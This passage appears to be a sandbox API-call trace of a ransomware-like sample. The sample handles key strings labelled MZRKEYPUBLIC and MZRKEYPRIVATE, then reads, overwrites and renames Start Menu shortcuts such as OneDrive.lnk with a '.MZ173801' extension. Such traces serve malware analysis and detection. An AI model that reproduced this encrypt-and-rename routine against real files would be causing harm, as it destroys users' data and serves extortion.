lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0185.490] GetCurrentThreadId () returned 0xab4 [0185.490] GetCurrentThreadId () returned 0xab4 [0185.490] GetCurrentThreadId () returned 0xab4 [0185.490] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\onedrive.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0185.490] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0185.490] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0185.490] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x944 [0185.491] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0185.491] ReadFile (in: hFile=0x328, lpBuffer=0x24d0100, nNumberOfBytesToRead=0x944, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f74c*=0x944, lpOverlapped=0x0) returned 1 [0185.492] CloseHandle (hObject=0x328) returned 1 [0185.493] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\onedrive.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0185.879] WriteFile (in: hFile=0x328, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0x944, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f758*=0x944, lpOverlapped=0x0) returned 1 [0185.880] CloseHandle (hObject=0x328) returned 1 [0186.033] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\onedrive.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\onedrive.lnk.mz173801")) returned 1 [0186.391] GetCurrentThreadId () returned 0xab4 [0186.391] GetCurrentThreadId () returned 0xab4 [0186.391] GetCurrentThreadId () returned 0xab4 [0186.391] GetCurrentThreadId () returned 0xab4 [0186.391] GetCurrentThreadId () returned 0xab4 [0186.391] GetCurrentThreadId () returned 0xab4 [0186.391] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3eef18c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="Startup", cAlternateFileName="")) returned 1 [0186.391] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3f411db, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1aa08e58, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="System Tools", cAlternateFileName="SYSTEM~1")) returned 1 [0186.391] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc861bda7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc861bda7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc8667e79, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="Update and Privacy Settings.lnk", cAlternateFileName="UPDATE~1.LNK")) returned 1 [0186.391] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0186.391] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0186.391] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Update and Privacy Settings.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\update and privacy settings.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc861bda7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc861bda7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc8667e79, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x588)) returned 1 [0186.392] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Update and Privacy Settings.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\update and privacy settings.lnk")) returned 0x20 [0186.392] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Update and Privacy Settings.lnk", dwFileAttributes=0x80) returned 1 [0186.541] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0186.542] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0186.543] GetCurrentThreadId () returned 0xab4 [0186.543] GetCurrentThreadId () returned 0xab4 [0186.543] GetCurrentThreadId () returned 0xab4 [0186.543] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0186.543] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0186.544] GetCurrentThreadId () returned 0xab4 [0186.544] GetCurrentThreadId () returned 0xab4 [0186.544] GetCurrentThreadId () returned 0xab4 [0186.544] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Update and Privacy Settings.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\update and privacy settings.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0186.544] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0186.544] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0186.544] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x588 [0186.544] 